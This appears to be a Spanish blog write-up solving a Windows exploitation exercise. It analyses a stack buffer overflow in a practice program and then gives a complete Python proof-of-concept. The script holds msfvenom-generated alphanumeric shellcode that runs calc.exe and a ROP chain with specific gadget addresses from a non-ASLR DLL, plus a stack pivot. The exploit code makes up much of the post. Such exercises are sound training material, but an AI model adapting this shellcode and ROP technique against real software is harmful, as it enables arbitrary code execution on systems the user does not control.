Solución Ejercicio 3

s1kr10s me ha propuesto que solucionemos el Ejercicio 3 publicado en el Twitter de Ricardo Narvaja:

Analizando el main, es posible visualizar que se esperan tres argumentos:

nombre_app.exe argumento_1 argumento_2

Si continuamos analizando, se repite un bucle 20 veces en donde cada iteración llama a la función malloc() con un tamaño de 40 bytes, luego se procede a copiar por medio de la función strncpy() el contenido del argumento 2 en las direcciones de memoria creadas y finalmente se imprimen en pantalla:

Una vez culminado el bucle, el programa transforma el argumento uno en entero por medio de la función atoi(), carga la dll Mypepe.dll y finalmente llama a la función sub_401010 la cual se encarga de copiar el contenido del argumento 2 en un buffer local (buffer_7) de 28 bytes, por lo tanto si el argumento 2 excede el tamaño de buffer_7 es posible desbordar la pila:

A modo de ejemplo introducimos los siguientes parámetros:

Por lo cual, deberíamos sobre-escribir el buffer a partir de ‘2222’:

Condiciones necesarias para desarrollar un exploit funcional y genérico:

  • ESI apunta a una zona de memoria en donde se encuentra el buffer de los argumentos (sin el límite de 40 bytes del segundo argumento), por lo cual deberíamos incrementar ESI para que apunte al inicio de nuestra shellcode o cadena de ROP Gadgets.
  • p_Malloc debe apuntar a una dirección en donde se encuentre un valor null, debido a que es usado como parámetro para la llamada a la función printf().
  • Se deben usar ROP Gadgets de la dll Mypepe.dll debido a que no posee ASLR.
Prueba de concepto (PoC)

El siguiente script genera un archivo con los parámetros necesarios para ejecutar la calculadora de Windows:

import struct
from struct import pack

# msfvenom -e x86/alpha_mixed -p windows/exec cmd=calc.exe -a x86 -f py
buf =  ""
buf += "\x89\xe0\xdb\xc3\xd9\x70\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x6b\x58\x6c"
buf += "\x42\x77\x70\x67\x70\x43\x30\x71\x70\x6e\x69\x7a\x45"
buf += "\x50\x31\x6b\x70\x42\x44\x4e\x6b\x36\x30\x56\x50\x6c"
buf += "\x4b\x42\x72\x76\x6c\x6c\x4b\x31\x42\x44\x54\x4e\x6b"
buf += "\x32\x52\x37\x58\x64\x4f\x6c\x77\x53\x7a\x61\x36\x36"
buf += "\x51\x6b\x4f\x6c\x6c\x75\x6c\x51\x71\x33\x4c\x67\x72"
buf += "\x36\x4c\x65\x70\x49\x51\x7a\x6f\x44\x4d\x66\x61\x48"
buf += "\x47\x79\x72\x4c\x32\x46\x32\x36\x37\x4e\x6b\x30\x52"
buf += "\x34\x50\x4c\x4b\x53\x7a\x77\x4c\x6e\x6b\x30\x4c\x46"
buf += "\x71\x31\x68\x6b\x53\x37\x38\x43\x31\x7a\x71\x53\x61"
buf += "\x4c\x4b\x32\x79\x67\x50\x56\x61\x7a\x73\x6c\x4b\x77"
buf += "\x39\x76\x78\x38\x63\x77\x4a\x30\x49\x4c\x4b\x30\x34"
buf += "\x4e\x6b\x36\x61\x79\x46\x46\x51\x59\x6f\x6c\x6c\x39"
buf += "\x51\x68\x4f\x66\x6d\x53\x31\x59\x57\x50\x38\x49\x70"
buf += "\x61\x65\x38\x76\x75\x53\x51\x6d\x6a\x58\x75\x6b\x33"
buf += "\x4d\x51\x34\x72\x55\x39\x74\x62\x78\x6e\x6b\x52\x78"
buf += "\x77\x54\x46\x61\x69\x43\x63\x56\x4e\x6b\x44\x4c\x62"
buf += "\x6b\x4c\x4b\x62\x78\x65\x4c\x46\x61\x79\x43\x6c\x4b"
buf += "\x56\x64\x6e\x6b\x36\x61\x4e\x30\x6c\x49\x52\x64\x66"
buf += "\x44\x76\x44\x73\x6b\x51\x4b\x51\x71\x32\x79\x53\x6a"
buf += "\x50\x51\x39\x6f\x49\x70\x63\x6f\x61\x4f\x50\x5a\x6c"
buf += "\x4b\x74\x52\x4a\x4b\x6e\x6d\x71\x4d\x61\x7a\x73\x31"
buf += "\x6c\x4d\x6b\x35\x6d\x62\x63\x30\x67\x70\x47\x70\x66"
buf += "\x30\x51\x78\x54\x71\x4c\x4b\x32\x4f\x6b\x37\x49\x6f"
buf += "\x38\x55\x6f\x4b\x48\x70\x6e\x55\x6f\x52\x52\x76\x65"
buf += "\x38\x6f\x56\x6d\x45\x4f\x4d\x6d\x4d\x59\x6f\x7a\x75"
buf += "\x75\x6c\x53\x36\x51\x6c\x64\x4a\x4b\x30\x79\x6b\x69"
buf += "\x70\x72\x55\x77\x75\x4d\x6b\x73\x77\x36\x73\x63\x42"
buf += "\x50\x6f\x30\x6a\x77\x70\x63\x63\x4b\x4f\x4b\x65\x73"
buf += "\x53\x61\x71\x30\x6c\x33\x53\x54\x6e\x65\x35\x61\x68"
buf += "\x63\x55\x43\x30\x41\x41"
shellcode = buf

nop = pack("<I",0x41414141)
ret = pack("<I",0x78014E41)
ptr_null = pack("<I",0x78035028) # byte null Mypepe.dll

rop1 = pack("<I",0x78011A39) # pop ecx # retn
rop1 += pack("<I",0x5D585703) # 0x005DEDDF - 0x005DED78 = 0x67, 0x5D58576A - 0x67 = 0x5D585703
rop1 += pack("<I",0x7801685C) # add eax, 5D58576A # retn
rop1 += pack("<I",0x7802682D) # sub eax, ecx # pop ebp # retn
rop1 += pack("<I",0x41414141) # align
rop1 += pack("<I",0x7801E455) # call eax
pivot = pack("<I",0x78020C50) # add esp, 14h # mov eax, edi # pop edi # pop esi # retn

payload = 'AAAA ' + 'BBBB' + rop1 + ptr_null + pivot + nop + shellcode
f = open('output.txt', 'w')
f.write(payload)
f.close()
Resultado

Compartir

Agregar un comentario